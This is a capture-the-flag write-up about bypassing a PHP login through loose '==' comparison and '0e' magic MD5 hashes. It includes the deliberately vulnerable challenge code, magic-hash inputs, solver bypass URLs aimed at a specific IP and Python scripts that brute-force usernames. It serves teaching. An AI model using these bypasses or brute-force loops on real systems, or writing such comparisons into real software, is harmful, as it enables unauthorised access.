Writeup on Garage4Hackers Xmas / Dec Web Challenge 2014

December 10, 2014

Ho Ho Ho, Xmas challenge ended. This challenge was all about of bypassing login authentication. Obviously, it was funny challenge!! And the obvious reason was password md5 hash. A footnote was there in source code.

Code:
<!--
    We are so generous, see we provided you password hash to login :) 0e100132199235687421930375421091
    if(0e100132199235687421930375421091 == md5($_GET['pass']))
    {
      // Simple PHP CODE Logic
    }
  ?> -->

Garage4Hackers Xmas Challenge is developed into PHP and it available to download for learning purpose.

Just a quick note: If you want to join G4H CTF team, then you PM me and checkout our last month Ranchoddas event

And I’m back to business, The main purpose of the CTF is to understand the PHP equal to (==) operator for comparing and even you can study strcmp function. If a developer uses equal to (==) operator without measuring the risk, then it can be profitable for attacker. However, attack can be carried in rare cases only. we’ve received some expected result and some unexpected results but at the end both are results

There was 4k + unique Hits on the CTF page in 24 Hrs, only few submission we’ve valid received.

Following is list of ninja, who solved the challenge in the time.

Code:
jinmo123  - Good Solution but not expected
tlk ( https://twitter.com/tlk___ ) - Nice Solution, but Not expected
stypr (https://stypr.com) - W00tt , expected solution
Ajin Abraham - Nice Solution, but Not expected
sagar popat  - Nice Solution, but Not expected
Sharath Unni - W00tt , expected solution

There was three way to solve this CTF and expected way to solve the challenge is to bypass authentication by using PHP equal to (==) operator. Brute forcing username is second easy way to solve the challenge and last way was monkey testing. ( Just kidding )

PHP CTF Code:

Code:
<?php
error_reporting(0);
$a = htmlentities($_GET['username']);
$c = htmlentities($_GET['password']);
$b = md5($c);
if (!empty($a) AND !empty($b)) { // empty function made this CTF more easy
 if ("0e100132199235687421930375421091" == $b) { // vulnerable line
    if ($b ==="0e100132199235687421930375421091") {  // To Avoiding some bugs and change behavior of CTF
     if ("133E-1337" === $a) {// To Avoiding some bugs and change behavior of CTF
        print "Flag : Garage4H4x0rFlagPhpFlag1337";
      }else{
        print "umm!! nice try dude :), oops! you don't know username";
      }
    }else{
      if ($a ==="0e100132199235687421930375421091") {// To Avoiding some bugs and change behavior of CTF
       print "umm!! nice try dude :), oops! ";
      }else{
        if ("133E-1337" == $a) { // vulnerable line
          print "Flag : Garage4H4x0rFlagPhpFlag1337";
        }else{
          Print "Wrong Username";
        }
    }
      }
  }else{
    Print "wrong  Password";
  }
}
?>

Here is some story about PHP operator and expected Behavior of PHP equal to operator.

Code:
Input       | Output
-------------------------
"0" == "0" | True
"1" == "0" | False
-------------------------

Unexpected Behavior of PHP equal to operator.

Code:
Input       | Output
-------------------------
"0e1" == "0" | True
-------------------------

In detailed :
PHP consider it as scientific notation 0e1 = 0 * 10 ^ 1 and ANS is 0

Code:
 <?php
   var_dump("0e1" == 0);
 ?>
Code:
Finding entry points
Branch analysis from position: 0
Return found
filename:       /in/Pvj4s
function name:  (null)
number of ops:  4
compiled vars:  none
line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   2     0  >   IS_EQUAL                                         ~0      '0e1', 0
         1      SEND_VAL                                                 ~0
         2      DO_FCALL                                      1          'var_dump'
         3    > RETURN                                                   1

Here is the fun start, this is just plain text comparison and check out the following MD5 Hash, and most of developer use it as passwords.

Code:
var_dump(0e100132199235687421930375421091 == md5(urldecode('%02%a27%84')));
 bool(true) // w00t :)

Another string :

Code:
'\x98-\xde\x1f'

// Submission by Beched (@ahack_ru)

try here : http://3v4l.org/NK5hp

In our check was too simple to bypass, because we haven’t put quotes around the hash. It made it to be integer, which causes expression to be true with any hash, which does not start with [1-9].

Here is bypass if we use quote around hash:

Code:
php > var_dump('0e100132199235687421930375421091'==md5("\x0e\xd7\xb6\xea"));   // Submission by Beched (@ahack_ru)
bool(true)

Try here : http://3v4l.org/M9dpY

Here is another simple example, which can be found on the internet.

Code:
http://3v4l.org/2vrMi

While testing this CTF there is MD5 collision found by Sharath Unni

Code:
0e100132199235687421930375421091 (Found in HTML source code )
0e104142395260374396839196939683 (MD5 collision )

Both these hashes have the same plaintext equivalent: 26177715789 , you can decrypt MD5 here

Code:
 http://www.md5online.org/

.

This was all about PHP Equal operator, now what is solution of this CTF.

Here is solution and you find many more ways:

Code:
http://162.208.48.16/?username=0e57640477961333848717747276704&password=BRTKUJZ&submit=Login&debug=true
http://162.208.48.16/?username=0e1&password=NOOPCJF&submit=Login&debug=true
http://162.208.48.16/?username=0e2&password=26177715789&submit=Login&debug=true

Submission by jinmo123

Code:
http://162.208.48.16/?username=000&password=240610708&submit=Login#

Submission by tlk ( https://twitter.com/tlk___ )

Brute Force Script:

Code:
import requests
s = requests.session()
for i in range(255):
    r = s.get("http://162.208.48.16/?username="+chr(i)+"&password=QNKCDZO&submit=Login")
    print len(r.content), chr(i), i, "Wrong Username" in r.content
We can see that only #, & and 0 not contains "Wrong Username". let's try to prepend '0' :
    r = s.get("http://162.208.48.16/?username=0"+chr(i)+"&password=QNKCDZO&submit=Login")
Code:
http://162.208.48.16/?username=0.0&password=QNKCDZO&submit=Login

Two Submission by stypr (https://stypr.com)

Code:
http://162.208.48.16/?username=0e57640477961333848717747276704&password=BRTKUJZ&submit=Login&debug=true
http://162.208.48.16/?username=0x00&password=BRTKUJZ&submit=Login&debug=true

Submission by Ajin Abraham

Code:
import urllib2
with open("10k most common.txt","r") as f:
    url='http://162.208.48.16/?username=[X]&password=26177715789'
    no=0
    for line in f:
        turl=url.replace("[X]",line).replace("\n","").replace("\r","")
        response = urllib2.urlopen(turl)
        html = response.read()
        dat=html[:50]
        no+=1
        log= str(no)+" Username: "+ line +"Response: "+ dat
        if ("Wrong" in log):
            print no
        else:
            print log
response.close()
Code:
URL:http://162.208.48.16/?username=-0&password=26177715789

Submission by Sagar Popat

Code:
http://162.208.48.16/?username=00&password=26177715789&submit=Login

Submission by Sharath Unni

Code:
http://162.208.48.16/?username=0e12323&password=26177715789&submit=Login

Thats all for today Thank you for reading .

We Provide Penetration Testing


We Provide Penetration Testing